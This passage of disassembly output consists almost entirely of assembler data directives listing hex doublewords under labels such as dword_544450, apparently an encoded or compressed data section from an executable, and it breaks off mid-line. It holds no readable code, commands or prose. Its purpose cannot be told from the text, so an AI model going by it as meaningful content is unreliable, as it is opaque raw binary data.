0ECA600A9h, 0DBD43651h, 9BEE5F29h, 5A43B104h dd 0D4803C10h, 0CCE644h, 0EA6EB014h, 80A4762Bh, 0E1EAAD78h dd 9948457Dh, 0F7C80020h, 66EFDD82h, 26561490h, 5104A2FAh dd 843584A8h, 6AF8C0FCh, 0F01372ABh, 1C20FF3Dh, 8B355E98h dd 8DA06E2h, 448FDB27h, 50524C90h, 0E280005Ch, 9155124h dd 0CB16AD00h, 0E1FABF38h, 4A6F0021h, 55C46DABh, 0B080F1h dd 7A26C544h, 786F24E5h, 83344D4h, 0C3E890Fh, 1412F05Ah dd 6CF282A9h, 0DDFAA202h, 4C6039BBh, 883D3A4Bh, 0B8A901FCh dd 6EADA11h, 7053B0C0h, 708EB807h, 0DC74005Dh, 0BD23E8Fh dd 4909AFE2h, 67E1DDh, 0FE9E9871h, 984F272h, 0F3E7BA3Dh dd 0B0AC6580h, 1A00C145h, 0C78B2FB7h, 985C768Dh, 388160E7h dd 0B02384A4h, 0E4495071h, 8A7B0090h, 5785E04Bh, 0E19A0E1Ah dd 7500A9AAh, 0F93A6B9Bh, 4DE0FE72h, 0F25608A0h, 31DF14A1h dd 0BD99F47Ah, 5B84A496h, 44B8B138h, 3D008C22h, 5EF07B13h dd 0ADEC61h, 0A692DE08h, 0B86B150Ah, 273081EDh, 30834702h dd 0B0D6E020h, 0D8042514h, 0AE075CECh, 546ECB2Bh, 8DFD01E0h dd 0C53C1233h, 41B817ADh, 20F85B4h, 2790CF8Eh, 3607897Eh dd 372268AFh, 9F91AECh, 6198DD2Dh, 0B4D7F493h, 0E424B40Ch dd 0E088BB7Ch, 3B700039h, 298CDCBCh, 0D4306975h, 1E5608F6h dd 6CA95DAFh, 0F73E5A3Eh, 0B2DA6201h, 0D1E53474h, 0BCC2148Bh dd 0B1E422DCh, 3CA084F9h, 0D22A20E8h, 10F0844h, 0C0309509h dd 0D56E9DFh, 1C1E018Ch, 37772FA6h, 3A506218h, 8F6B007Ah dd 0B687FC63h, 0E4EA12EFh, 0DFB8F4B3h, 0B2377E02h, 0E05E8E6Bh dd 12563E4Ch, 4E367B7h, 418F0964h, 8E4C8743h, 75FE0h, 3F8BDBE0h dd 1F5DD9E5h, 0F55EE8C4h, 1D558080h, 0BC490AC1h, 7BDFF34h dd 15E4704Fh dd 78B088BDh, 84C2924Bh, 5D9822A1h, 39896065h, 0C05E0091h dd 26315AF0h, 9C4A2F4h, 0FC727329h, 3D095500h, 5B4A7265h dd 1AFB0ECh, 0ACC73839h, 0E8E16A18h, 2C1E7F19h, 0C9CE06EDh dd 0C0800295h, 0D6D3804Ch, 0B2DD21h, 0F76AB0D0h, 0E9A10CF5h dd 1FE42C07h, 0E30256E8h, 0E0E54165h, 0B433C2F8h, 90E712ACh dd 2F54A814h, 80701848h, 0CF80134Ch, 507E0049h, 0FFDBF0CEh dd 0BB0C5A7Ah, 84260ADh, 0EA2A0028h, 9BC9F18Fh, 0D6489047h dd 34435B84h, 0D3E76EB7h, 5F85D82Ch, 0AD5C2FE4h, 8EEFC080h dd 995C1D12h, 50E00284h, 4280DC5Bh, 5008569Ch, 79000E6Bh dd 77C53E78h, 11AE64Ch, 12D09835h, 7240B0B7h, 970C061Ch dd 0E00633h, 35ADA3B9h, 3D68378Fh, 724FA9E0h, 0C8E95C40h dd 1E0A0402h, 0CE09CC8Fh, 3027793h, 0E4E5E0E8h, 10B0B193h dd 0DA53270Ah, 0C4FFA866h, 2812A148h, 0CC8782E0h, 0E2165E52h dd 43CCE4ECh, 18C620F6h, 21D7168Eh, 1C9681CAh, 800402E4h dd 325BC07Eh, 68F118D9h, 17553800h, 40907328h, 132B9B96h dd 901D1Ah, 8EA53764h, 197D55C8h, 0B84A5CB0h, 2EF0BC2Dh dd 0D9AD0FF3h, 99180E8Ch, 0E488DE0Dh, 1638B9B7h, 0CE2404DFh dd 48B21258h, 0A3615B00h, 99E45E7Dh, 57F2C70Eh, 8ED4A0AAh dd 24B0D19Ch, 26D6E7A0h, 9BB240D8h, 3A017487h, 8E5FEF48h dd 343017A5h, 0BEE52428h, 0FF3200C0h, 6DEFBF6Fh, 5CB9212h dd 3752C807h, 1795E4B0h, 828D1281h, 0E5A80824h, 72846580h dd 0C19DD5h, 93C49821h, 0F74E8AB0h, 62E03F25h, 0DFE038FCh dd 30C89171h, 12B51842h, 3FA5110Eh, 8C0EFD50h, 42B92086h dd 26EF5281h, 60543061h, 27CE093h, 0D1994F00h, 25EA84D9h dd 2FD4E33Eh, 34AF090h, 0B2AD4D09h, 4BEA86CDh, 0CC8E08A5h dd 34008DD4h, 0F8884951h, 9142D0E1h, 0F6FE0920h, 5F889445h dd 7B00BD38h, 0CAAA960Bh, 8F3EF327h, 0B8298B2Ah, 0FC3C8862h dd 5C8E4260h, 14A3134Bh, 38E3FAh, 0CAEF5B66h, 3BC4BFD0h dd 7D9FACh, 9AF05B4h, 0E941D12Ch, 0F9A60A12h, 576D5802h dd 0DA4D18F2h, 0AD9BB509h, 987931h, 632449E1h, 3A07DB13h dd 0C4BB299Fh, 93CE3F0h, 14E23931h, 12D4520Fh, 0B244B0A5h dd 909B2158h, 0E3E08ABh, 0E585898Bh, 0D27BCC99h, 0CDDD040h dd 7478DF81h, 253A5D80h, 8DF0F1FDh, 0B5D0A600h, 0BAD29A96h dd 18C858C9h, 264A0171h, 28EAE08Eh, 0FF42183h, 10E5279Ch dd 2372A8h, 0D83A8719h, 74589AE6h, 4A675932h, 95F4C412h dd 91109090h, 68299E01h, 9D2730Bh, 0F6D0E861h, 0AC220A04h dd 62F08616h, 27203055h, 9056DFCFh, 2530760h, 40E196D6h dd 0ED30ABF9h, 0E242B713h, 0E27E58C8h, 571005Ah, 828BEB50h dd 0ED03671Fh, 0B24ACFFCh, 94E0A1EFh, 77B77040h, 0F1D613E9h dd 1C3000D7h, 2D8C993Bh, 6098E013h, 23DAC90h, 44B9B596h dd 5A1AF839h, 0F873FD12h, 1CABF0B0h, 6966FEh, 4460DC6Ch dd 0F10356F4h, 3584AA82h, 1197E150h, 9FE8E0E2h, 3C5B0191h dd 0F86A71B0h, 0A612C805h, 0D9080397h, 0E4981346h, 94824B5h dd 0A066379Dh, 23641C96h, 3E17A0B6h, 5C148803h, 908F2F44h dd 17D742B4h, 4C05D8FCh, 108295F8h, 1447960h, 225CF29Ch dd 3C3C7045h, 91FB3B25h, 29A0F5BCh, 22E042FCh, 0EDCA3834h dd 0D2B95B96h, 0DF21BF18h, 2D301A44h, 183518DDh, 79981993h dd 0B1073673h, 34FBB087h, 66838170h, 0CE865CB9h, 0CB632500h dd 88E643E5h, 10055C90h, 520F8E09h, 98088456h, 9D7EBE8Bh dd 789E5C16h, 0F74035C4h, 1E31D23Dh, 7314A102h, 747155C7h dd 2FA0115Ch, 5D42072h, 3919F70Fh, 74001AA9h, 6AC7F839h dd 480044AFh, 0C3B010C4h, 2669E1ADh, 34640EEEh, 0CDCB8011h dd 0DB6F2FE6h, 0CEB8A10h, 1C08104Dh, 0D0674E8Eh, 55EC1800h dd 3C13BA01h, 5698BB64h, 0B420EC49h, 0FF28164Ah, 0D65C05E4h dd 13D88884h, 0BDD02397h, 17313B36h, 0A5C6A200h, 9030A703h dd 843FE8B4h, 0F0576B08h, 304B0221h, 8F808B74h, 0AF1401E5h dd 76705FB0h, 9C006091h, 0DC30B43Dh, 82504878h, 67F21574h dd 160C1074h, 0C009B606h, 5B0CC868h, 0EFFFE5Dh, 0E372198Eh dd 90394585h, 71088504h, 0D62C575Ch, 6B5C3861h, 95CA5430h dd 0B2334402h, 4EB93500h, 83251EEBh, 1C482DD7h, 10F2EF58h dd 981730BAh, 70313964h, 253ED614h, 0B99091F4h, 8E21592h dd 65201900h, 4F045226h, 1BC89B01h, 56BBC973h, 0A7006C23h dd 7B757F1h, 9D030478h, 0C15CFE45h, 3080E076h, 0D6115CB2h dd 3E12E039h, 2478C204h, 0BE0E7CF1h, 801700A4h, 0F6C40F29h dd 0AB350051h, 10B04C8Ch, 0EC1558EBh, 0AC08B2Ch, 94D65998h dd 1C64A5h, 1E8E9002h, 7A3832D8h, 72CB1870h, 5CC50Dh, 0BD8B52Ah dd 420013A5h, 0AAAB8F3Fh, 9060DF26h, 88CE4B9Ch, 443C6904h dd 781B80E2h, 3EB104F0h, 9A010108h, 0CBA2183h, 40BC7CEBh dd 208A3FB4h, 0DFE4BA4Ch, 0CF7D00A5h, 9705F0AFh, 6801B012h dd 0C0B9D64Dh, 0C6D4BF0Ah, 303E059Bh, 5970B58h, 940B008h dd 5C058214h, 7DDE815Bh, 0EE2DE0A8h, 354C08A4h, 8EEF005Ah dd 36E37FE2h, 9D6F2597h, 0E922B4C4h, 9800B784h, 0D26C368Fh dd 401C9072h, 0BA8EDF25h, 0FC1656CDh, 808560C0h, 51B00C27h dd 0E508F007h, 8418B848h, 0C088158Eh, 0F43744BEh, 0C1457607h dd 61B125E1h, 502F013Eh, 41219448h, 4C008C11h, 5C562D93h dd 0BF01958Eh, 2B8E90Ah, 709134CBh, 0DC7B0080h, 48D6115Eh dd 0CF77000Fh, 921E56D0h, 31001BBBh, 26576976h, 9EFF6Ch dd 0B580CE5Bh, 39506EB0h, 8AE8F204h, 0C8A18ECFh, 1844463Eh dd 47E618Dh, 9901FD75h, 0EF3BE0EEh, 10C8160Bh, 0A5ECBC70h dd 91441C6Ch, 0B8230098h, 3C2D5414h, 0F927BE7Eh, 42784287h dd 40140BB4h, 4CDD700Ch, 0BE2E4C2Fh, 185672C0h, 0C854126Bh dd 4FCE526Ch, 10B0CA90h, 2F8F8DD9h, 50E8E28Bh, 4E00B035h dd 0FCB1F67Eh, 900E60EFh, 57A2EC8h, 108B5958h, 40203E85h dd 3C98B7D9h, 0D805650h, 9B303D14h, 3220184h, 0DF4AD6F1h dd 8E065885h, 8160B80Bh, 0E4EB540Eh, 71E98DC4h, 9E0248Ch dd 0C8E0585h, 0C8AD34h, 56EF83E2h, 1DD95A05h, 0C06AB036h dd 8AD89612h, 395481A0h, 8905A808h, 0ED2C8274h, 7C1294E2h dd 2CCE1634h, 0CC006368h, 5FD33DCBh, 0C37E730Ah, 9BBDE479h dd 0E8E410Dh, 0BC6331ECh, 0DC764500h, 0C5D1EA35h, 4C4F1A00h dd 0BD0D987Bh, 0F5F43E29h, 57D53F01h dword_544450 dd 3BEA1570h, 4926704Fh, 56B49047h, 0C1EE0E1Dh, 574E40A8h ; DATA XREF: ___:off_44452Co dd 8F52Ah, 2B347B08h, 0E70041CFh, 2A9D195Ah, 2ED050ECh dd 0A14B7Dh, 0B6625433h, 84079020h, 0DFEE450Bh, 40C61880h dd 0EFF605EBh, 0C95D98D7h, 0CE0E3050h, 75E01490h, 8A05F00h dd 0FDF2568Ch, 91A502BBh, 1A5754A8h, 2038088Ah, 80350714h dd 708A47E5h, 0A2A909D9h, 6488E04Ah, 0C125004Eh, 0E380E938h dd 9F099AF3h, 71611FC9h, 8C741650h, 682F23A0h, 0CF3824B9h dd 0E900388Eh, 5BA8B38Eh, 5343E52h, 0E8A219A4h, 98621500h dd 0E40723E5h, 0AD754A00h, 5F781E6Eh, 67580505h, 844D120Fh dd 8074F86Ch, 44C5E94Bh, 0E6730465h, 0C42C5CD2h, 0C498ED70h dd 0E445DD10h, 2510A2BCh, 0F11C4299h, 20470014h, 5DDA7B98h dd 0A300F377h, 7093A65Eh, 0E662BC0Fh, 0DCDF04CEh, 0A8E02433h dd 945BC834h, 0E603CC2Ah, 0D6F98DA9h, 848042Ah, 85DE2907h dd 7806225Dh, 55D4A388h, 0FFC0B410h, 18E9C47Ah, 0CE8500D6h dd 378C6BB2h, 5BE0B83Bh, 3C82D001h, 2C982A8Ah, 500A0195h dd 0EB7DEDE5h, 7302C0CCh, 8420D54Eh, 0F8397D2h, 63AF12Ch dd 92DF6F00h, 570EB8FAh, 0E06CAFF4h, 80A5144Fh, 4CB000B3h dd 0FCAD0284h, 2F01C30Ah, 505308EBh, 0ACF31568h, 0F270FCF9h dd 54CD05ACh, 0FCB3E508h, 377C82C8h, 80D8FC18h, 0EA8CE14h dd 7F7E4388h, 0B8021EF2h, 0CBB77486h, 78A080CDh, 24EF0E6Fh dd 20B8F9FEh, 1A49E08h, 33075FE9h, 80CC7DD3h, 8C46181h dd 1754909Dh, 2859837Bh, 7640BB30h, 4468982Bh, 6A1CCDD7h dd 6F929957h, 14E5B420h, 98F74ADh, 7475C60Ah, 5602E4E4h dd 399AEBC3h, 44BC5890h, 0FF018E36h, 0D7809E7Dh, 8780EEAh dd 181C8610h, 0E8293EBFh, 0D5D005Bh, 0B8164917h, 6200CD0Eh dd 0E776578Ah, 0B47E85D1h, 72B31290h, 4CD97768h, 5B07FB00h dd 1E764AC2h, 81458563h, 0F213DD33h, 2F388296h, 0C02942BCh dd 5F7C44h, 0AF12D902h, 5598DF8Ah, 0E9002C99h, 8FD6B55Ah dd 12E003Dh, 2CEAC2B3h, 0C016CFEEh, 0C04082CAh, 598B4616h dd 0AC60030h, 91E433CDh, 780E5812h, 27FEE9h, 87945B4Bh dd 7FCA12C6h, 0ACCD037h, 0BC012C97h, 40582096h, 840BF0Bh dd 0DC7487h, 3CD2CB8Bh, 806AAF54h, 0FF12A600h, 72AEE86Ch dd 0CD500E7h, 89C611DAh, 0E95A71DFh, 8A5DCC40h, 7218C865h dd 0EB138EDh, 6FFEB300h, 0D0453229h, 0A80B4C03h, 0D0DCD864h dd 4471D28Ah, 0C47D67E8h, 7DFBB71Dh, 0C320BCCEh, 8014E6FAh dd 2D0C627h, 36E7D876h, 0F8D62928h, 0E072CE4Eh, 486DDAC7h dd 55010016h, 0F706A52Ch, 7744AB0h, 3F357424h, 6398D805h dd 3D3DFCE9h, 0A2378517h, 63CE8h, 1B058CB6h, 2D68B43Eh dd 3441A84Bh, 0BC230864h, 42D0E2DCh, 7F09FF18h, 5B8EFC8Bh dd 35809116h, 7DF43D17h, 0ED21B00h, 0C3B7B577h, 634A1D36h dd 45CE1DA7h, 0B8E3FEDAh, 797D8C44h, 76023F26h, 0AD8BB780h dd 0E1D64D8Eh, 70AFFA02h, 40A5E55Bh, 0E034BF43h, 7C250073h dd 2056BD8Fh, 0C93892E4h, 0B5530361h, 0E0D3DB7Eh, 4F95E18h dd 52082EB2h, 43B4802Fh, 7417C899h, 17BEEBh, 0D7B42460h dd 31600F2Ch, 9EC0864Eh, 4BE83B49h, 87F0F219h, 0A8715EA8h dd 6810203Eh, 40E1A63h, 0A2C787F2h, 0E6ABC93Eh, 20305B7Ch dd 91E33790h, 0F42D1401h, 603DDECCh, 3C797DCh, 7F7156DFh dd 309C4BBDh, 7A538Eh, 1ED70279h, 292107ACh, 0ED8CF713h dd 25DB6800h, 0F0D0E7h, 0DE387E27h, 0BACE813Ch, 80879600h dd 0A3E2F54h, 0BC919F9Bh, 0B4AF1037h, 6B1D0086h, 0BA8C0FE7h dd 2809EB5Eh, 80DC67E2h db 1Dh, 7, 7Ah byte_544843 db 30h ; DATA XREF: ___:00444C04o dd 0B000B78Ah, 3B93A109h, 1C16EA7Eh, 0C0BD937h, 857C19E2h dd 0CC0AC517h, 9A09F260h, 803E7298h, 0F443E0BCh, 29FE2EE8h dd 2808201Ch, 141A56h, 0A9A10ADFh, 9011325Dh, 80B470B0h dd 0C8E02944h, 8E4304B1h, 5A9EB5E4h, 6204C0A8h, 1DC9172h dd 2C7B7612h, 609DFC1Eh, 200A579h, 815E7857h, 13015610h dd 0B336E530h, 5F99137Ch, 0EADFB830h, 50ED09E4h, 486680EBh dd 0F855E909h, 84F90Ch, 84D081A3h, 0D6031730h, 0C1D79D64h dd 0F937B2EAh, 0B8CA1Ch, 0B66C92DEh, 0EF00F934h, 1C568F64h dd 3C711Ah, 337408A4h, 35E45530h, 0D55CAF07h, 7D019528h dd 461DC9Ah, 0F214443Bh, 4EFC052h, 0E41CF10Ch, 6D000ACCh dd 0C4D974E9h, 82123D96h, 7EB09902h, 0CBC08D77h, 8F5E35E5h dd 73370020h, 4AFF005Bh, 0D10FDB42h, 0C050596Eh, 1A0B0EB2h dd 0C15690h, 85D7B95Ch, 0B03B07EAh, 0E01B4D59h, 0D9F144DFh dd 0BEC57C08h, 9EFA8038h, 0E699D3CBh, 9562D3Eh, 71364CE0h dd 1AAA0064h, 0D46678B1h, 118F4800h, 0D10D2454h, 0D9FC000Ah dd 0F567495h, 3D10EA81h, 1849B51Fh, 25BDE41Dh, 0F96AACB8h dd 9945400h, 88E51226h, 0B69CA10Ch, 3CB943F0h, 0D13A2DEFh dd 10448F18h, 0E525FED6h, 1D9479E3h, 0E2644079h, 19E8056Eh dd 0DD3BD17Ch, 0CC91AE8Fh, 3D144811h, 0C897A00Ch, 3A7DED30h dd 0C45D9F00h, 6937E42h, 0C86200E3h, 0E54CBBF3h, 8B4103B2h dd 0B323B457h, 9BF6A06Dh, 0FA1102EAh, 30480D8Eh, 0DCE73500h dd 6C4500F7h, 3E97C5E0h, 34BA5203h, 495A9827h, 256F8ED8h dd 382E8030h, 0DE019A8Ah, 592645AFh, 6090F80Ch, 0A17D22F9h dd 68128CE4h, 1900B0D2h, 0C439DF3Ah, 3EFFD463h, 0A42E12EFh dd 0B2E11778h, 0A6420538h, 8420670Ah, 117DF0h, 124BFFE2h dd 0E3743AD7h, 7701F600h, 0C9169C2Fh, 0CD18A892h, 2620097h dd 1796B3A7h, 0DF001046h, 4FE7A02Fh, 8D52C7h, 36E2D80Eh dd 0D4B7BC95h, 0E0043E17h, 644C948Bh, 987D821h, 0EEAB608Ch dd 7BFF13FCh, 1CA7B4h, 36D866FDh, 98063B97h, 9E080068h dd 99FE0F9h, 71E95FC0h, 0FC3D53h, 71F23A95h, 0A029BB90h dd 0B68AEEECh, 0BDB91B8h, 0C1D78235h, 2B3E8B58h, 94B810B0h dd 95839A88h, 0F3E2C078h, 0ECCB81F2h, 0EB9320h, 473AB010h dd 84F692DFh, 8707873Ch, 2CDB516Ch, 185EDAE1h, 2D8C8864h dd 0DCA0737Bh, 0E188FC9Dh, 83000BE6h, 0DEBA6649h, 47BA96Ch dd 18C7B891h, 0A3549435h, 201F0068h, 0EDCD7D40h, 7CE006Dh dd 60A19DFAh, 1900FE96h, 4FFF3306h, 488E907Bh, 0C2968C0Eh dd 0A208AC4h, 26D24ADh, 0B0900613h, 0C064BF52h, 0CD9D0D01h dd 28B3D6B7h, 801CDEF2h, 0E9FF80D2h, 830096D7h, 0DF32B4E5h dd 4C40ED2Bh, 709E07h, 8B6E2958h, 760DCCFCh, 1DA7601Ch dd 0EEEC5000h, 4FF4FD8h, 0BF85DD1Fh, 3ACCA2E2h, 67D09343h dd 0F3E9CE4h, 4FE9F6D3h, 32373620h, 0EA1D7343h, 9C1E74F0h dd 0D880241Eh, 0D353980Ah, 881205ECh, 0C893DFE0h, 0F0B884C8h dd 6F1890B5h, 6845001Fh, 0F3831B2h, 0E1005605h, 1AEEC765h dd 912A0EDh, 0E51889DFh, 0EC01CC4Ah, 0EC3F8387h, 0A0A43D85h dd 0B6C3B201h, 0B022E874h, 79D802D0h, 0BB0A01DBh, 0F93DBF3Bh dd 0CF4FC073h, 86DAEE00h, 0E9DC185Fh, 0C87F5ACEh, 4C009E8Ch dd 1FA86C22h, 176AF503h, 4307295h, 0F2A118D8h, 0BD72278h dd 0D9E785CEh, 5ADD1B87h, 41CF00B4h, 0D70C7C73h, 0BF75021Fh dd 4530C440h, 0A0205EE2h, 4D3C9B8h, 8034D9DFh, 904380D2h dd 0D4BE170Ah, 208D0762h, 0E02760EFh, 0F89F0E24h, 0D4DC9D13h dd 66523FC5h, 5C1B4402h, 20798B13h, 0A8B227h, 0F29A47F0h dd 54F15CE0h, 0D204A892h, 5D26C442h, 1F0CF9A2h, 15628175h dd 637446ACh, 20B006Ch, 4BB22A71h, 27DE02F6h, 3E36E4DDh dd 0C5E6462h, 50947C49h, 7A07BABFh, 0C4450BE8h, 36B6AD80h dd 57E20E69h, 0BAE2411Ah, 5CC62B98h, 0F3DEC8C2h, 3158A3EFh dd 0B985E3E5h, 88490F8Eh, 0E26D1460h, 141F5861h, 47429820h dd 83F5B11h, 93940D3Dh, 60542072h, 0DF0053AEh, 11D28124h dd 0B59B799h, 0D9025DE5h, 52443404h, 198094ECh, 0DD22279Ah dd 4C03B800h, 21373F5Ah, 0E65E013Bh, 0D83ED03Ah, 557070EEh dd 9B92400h, 5F75AFCBh, 0FFF400D4h, 6A4FCC7Eh, 3BFFE4E3h dd 84B33038h, 386810BDh, 63D9C5D9h, 9A808C48h, 880288h dd 0F17D904Bh, 9B3A5422h, 0F015FD00h, 14E1849Eh, 40DC98A4h dd 588AA972h, 272F4460h, 574892BDh, 3681DCA0h, 81C0CE7h dd 7901AD56h, 98CD80B4h, 16416BF0h, 27325999h, 0CB4B0090h dd 0A1010AA4h, 4778458Dh, 206A8FF2h, 9DA7C058h, 0FDE80100h dd 7A8B649Fh, 0EA2900F8h, 79F5B478h, 4A626B1Dh, 2E7F0658h dd 0BBCD4024h, 2F145402h, 53D0CCE0h, 9521F4F2h, 7100DC11h dd 9C60CED8h, 409DBB82h, 888A293Ch, 855CBF09h, 0D2B8C704h dd 0E95BF920h, 20F65C95h, 0C32F1220h, 0E8EC31h, 7C4D7EE7h dd 0CEAA702Ah, 54BC3900h, 88AD6C3Ch, 0C0B326E5h, 0AADB446Ch dd 0D7144C61h, 0F078000Bh, 51348027h, 0A7E60788h, 1F4F2F73h dd 102D9Dh, 200B4E8h, 2A214B0Bh, 281A2E2h, 64C27885h, 0D0C42839h dd 0DC40B550h, 0E2A18F05h, 8EC01E08h, 0EF0A881h, 9CC8C61h dd 9EE37C00h, 2A03F214h, 6C8BB0ECh, 3373A0E5h, 824F5BB8h dd 987E0518h, 5000E997h, 90454A38h, 182A4868h, 0A5E45F85h dd 30C4F220h, 6013DA07h, 3FE0B35Ah, 3AD5394h, 0B603C60Ah dd 96C87451h, 1602EE05h, 701BBC73h db 0DDh byte_544E45 db 68h, 64h, 69h ; DATA XREF: ___:00444C5Co dd 40789435h, 4842B283h, 5021A201h, 475798E0h, 0A5E09C3Ah dd 88705300h, 0AB4630ADh, 6FA49h, 0F218D8ACh, 20D1E28Ah dd 10522E2Eh, 0A8C04567h, 921BC3Ch, 689AF77Ah, 81AA6D00h dd 0C2D3E4Eh, 0A7CA297h, 0E250748Eh, 66124D5Ah, 0A4B200ACh dd 27DC0834h, 850001BCh, 996EEE33h, 3CD7B3FAh, 8180BD3Ch dd 0E08928E3h, 0C9BE54Ch, 3CF21613h, 8408B2D3h, 20E8BF0Ah dd 40768B89h, 8F340449h, 0B8A252h, 0CD665ED9h, 7535084Ah dd 8A670909h, 24D242D0h, 7E1FD612h, 77E800EAh, 0AE805B13h dd 4E8E095h, 7C81898Bh, 58E110FCh, 0EC2B8206h, 800B719Bh dd 715B6177h, 93115Ch, 0B0520FAAh, 2C7A48Fh, 0EC62DF13h dd 0E0F69EC4h, 0A8E10908h, 8A02223Ch, 0F5949800h, 34CF36E0h dd 738D0022h, 0F9CD82A9h, 4800D652h, 41D3279h, 0FADE26FFh dd 88B74AE5h, 808514C8h, 0F9DC5297h, 730085C0h, 0ADFDAC4h dd 257A26C1h, 0A8511D44h, 0CB76E700h, 0F24F7EDAh, 0DBFAF1h dd 0A58B6536h, 0A1954A8Eh, 0E08DEE01h, 91A89316h, 2C269840h dd 0FADB007Fh, 321B27F2h, 0F900ADC3h, 49563C83h, 2FB2C4CDh dd 60048CBDh, 0B078C108h, 84F44F90h, 948CDACAh, 0DDB600C0h dd 811ACFEDh, 372E470Ch, 0D1023C55h, 209268DCh, 4E4FD89Fh dd 0E7419700h, 7170B6D6h, 0E27C5Eh, 27B1A372h, 9CCB22E9h dd 0D3C16D00h, 8CB72156h, 809402EDh, 2A283059h, 0C03A8D9h dd 0F8336C03h, 73CD5057h, 72C2FA38h, 0FD1001A3h, 2B120D46h dd 0DF1C2061h, 27155E38h, 4320E450h, 54BE20F5h, 3E88307Bh dd 0EC1C3EABh, 0CF80BD0Dh, 0B9D6FB58h, 0CB797978h, 0A306AF0Bh dd 4C4498h, 6A38C6B1h, 0CECF0945h, 0B6306500h, 28013D8Dh dd 0EFC9010Fh, 6A087F4Ah, 2A6829DBh, 8E41445Bh, 0CE4922Ah dd 328034C5h, 0BEA345ECh, 270C020Ah, 9165CAA2h, 0C440D4F4h dd 0D802EAh, 0FC7C120Fh, 0EDBA534h, 25D3510Fh, 890A2118h dd 0D4238FA9h, 20A84901h, 61CCE1F8h, 0D8AAFC2Fh, 0C0A8E26h dd 4A72E070h, 6150E1DDh, 7883C9D0h, 0BCFE8F98h, 0A2543A80h dd 0E804B53h, 0AC904ED3h, 0F336DDE7h, 0BFF44702h, 0F8F08016h dd 14C18AB6h, 2C51737h, 1BC0498h, 15752204h, 39589886h dd 78261D50h, 9CC8A617h, 0ECD301F2h, 0B7566593h, 3112BEE4h dd 99D130AEh, 3B576888h, 2F900D42h, 54905F8Bh, 9097342Dh dd 8445622Ch, 259044h, 3BE4E608h, 0CAFA2AC2h, 0CB0FE900h dd 286103C7h, 6B883992h, 3CF89725h, 644284B0h, 368CC34Eh dd 0D60982FFh, 6E0C985Dh, 6798005Ch, 0CEE36C26h, 2F123FB1h dd 18C8118Eh, 180B503Eh, 8A2807E9h, 90AD0AE5h, 0E4D4EAA9h dd 90B3387Ah, 0A50B4980h, 0EED31D9Fh, 43501DC5h, 60970148h dd 0C03F39FCh, 895230A4h, 0B4B715Ch, 918034A2h, 0D615FCA9h dd 9B32E104h, 8EBBDECh, 3A81845Ch, 0B0EA71E4h, 8836BEC8h dd 0CA77CDE5h, 0A5B4F503h, 13FF2F3Dh, 0E92318h, 82D624C4h dd 7E3D9031h, 2837A63Fh, 852ECA09h, 0C802EDABh, 79BBE4E9h dd 531E47B0h, 0F9A3E7B0h, 25E9FCD8h, 340AA89Eh, 26B8B6h dd 0BD1B003Bh, 63177B36h, 0C2164E77h, 38C60CC4h, 1448E00h dd 368FCAD3h, 0C4CCB6B7h, 81E02718h, 22F2439h, 0C00A9CF8h dd 37406AB8h, 0E45F5058h, 0E4E7B44Fh, 0FCA8CDFCh, 0B03C5200h dd 90490C76h, 0E145B490h, 4F382083h, 748094DCh, 0E006A0BAh dd 54FB930Ch, 0D80C2A8h, 5002F6Dh, 2524F36h, 81F4781Dh dd 0BA8CEC63h, 3F120CE0h, 0B402C54Ch, 8F38BC62h, 58AA80D2h dd 841859h, 4ABA7A7Ch, 0FD999317h, 0BBDD6F02h, 40A7350Ch dd 9041B4h, 13AB185h, 0D87340FEh, 59005F7Ch, 8E46B29Eh dd 0C275A41Eh, 71E1EA40h, 700C7709h, 63301640h, 4E591923h dd 31BF7F0Dh, 89A82E72h, 51171048h, 0EB8D80F4h, 4B86F907h dd 0BF324E5Ah, 0A552C031h, 510203F7h, 7FF477DAh, 44734039h dd 0EF74283Fh, 0C8AC4374h, 55CB045Ah, 361E5F71h, 951A1EA0h dd 9447B894h, 0B4A04ED8h, 0D4808463h, 3701FF80h, 0DCA40AE0h dd 8FE01038h, 0DAF0CFh, 9190A552h, 93DFD79Fh, 45865500h dd 0E86F5846h, 7C849FCAh, 4A8902DCh, 9B906038h, 0A25F4030h dd 28D99800h, 0E7423FBAh, 0B45E8032h, 0C4185Bh, 0EB9F04C0h dd 0D4910B61h, 9482DA02h, 0A85644ECh, 0E2FD7F0Eh, 9C41D27Eh dd 0E8402320h, 8613E82Ch, 0CD0754CAh, 0A7F0778Fh, 25EBB0A9h dd 0E8E03D85h, 8AC29D00h, 0E7835349h, 0F55C002Dh, 0DF72449Bh dd 0B0009E14h, 96E4516Dh, 0ACDEA8Ah, 3A460CBCh, 6D026C0h dd 9089A0C4h, 6312DE09h, 5740A144h, 16AEF34h, 785B500Ch dd 3A188C9Fh, 1B98A0E9h dword_545350 dd 0D9BDD97Fh, 4CD74EC0h, 0F12E4Eh, 998AFF5h, 0CF6E214Ah ; DATA XREF: ___:off_4444ECo dd 0F53D4C03h, 0C8F1B262h, 7001D35Dh, 304B13Eh, 9AC06B14h dd 0B218177h, 0A1F408D6h, 0D50B8822h, 200B1CB7h, 48B8814h dd 9820D985h, 4CE819DFh, 0F3B82334h, 74394511h, 0C8162060h dd 0AF02CA94h, 0C4D4AB46h, 0EC8C7D10h, 175E2BF0h, 0E79FD890h dd 88D2D98h, 0CE8368E3h, 248C085Dh, 350355C5h, 0EF44F4EBh dd 0E34F6E60h, 87B2CFFh, 11502684h, 3FB900D8h, 15B6CA75h dd 0BCEF1EE6h, 9881C0EAh, 0DC19712Ah, 0F0C9E300h, 1290ED44h dd 0B0E50010h, 29D44CDEh, 0C5071C37h, 9883DD17h, 0D5E30320h dd 608B3CE6h, 0A30B9980h, 0B5DDCE1Dh, 0B939B300h, 9FDFD8C1h dd 24121E48h, 3109C0E3h, 4EA09C32h, 6D21E00h, 7680A17Ah dd 7A90066h, 602EE2EDh, 33004F84h, 14FD6515h, 4DFC28h dd 7BD58E50h, 9A1A6139h, 0D30762F6h, 36D23C90h, 4CAC7316h dd 0A8030D01h, 7F86EB9Bh, 5D8D4DD0h, 9EAF800h, 90F230DEh dd 7CD30FADh, 391BB6F7h, 0BCBC49D1h, 0A2CE0020h, 82369928h dd 6ABD01FDh, 0BFA659D1h, 0ED2C05Fh, 1BEFCF01h, 0EC67DA3Bh dd 9BF16081h, 0E3443150h, 533EC990h, 0EF18B765h, 0E36D0C83h dd 0B419C077h, 769303DDh, 80FF8CF3h, 64CAD7F0h, 503FCB31h dd 8980B74Ah, 547A4FDCh, 3E0303C5h, 0B4278AF3h, 2F5D9048h dd 1F56038Fh, 0BF356830h, 0BDEDC900h, 383EE16Dh, 49D6674Ah dd 0C0D487F1h, 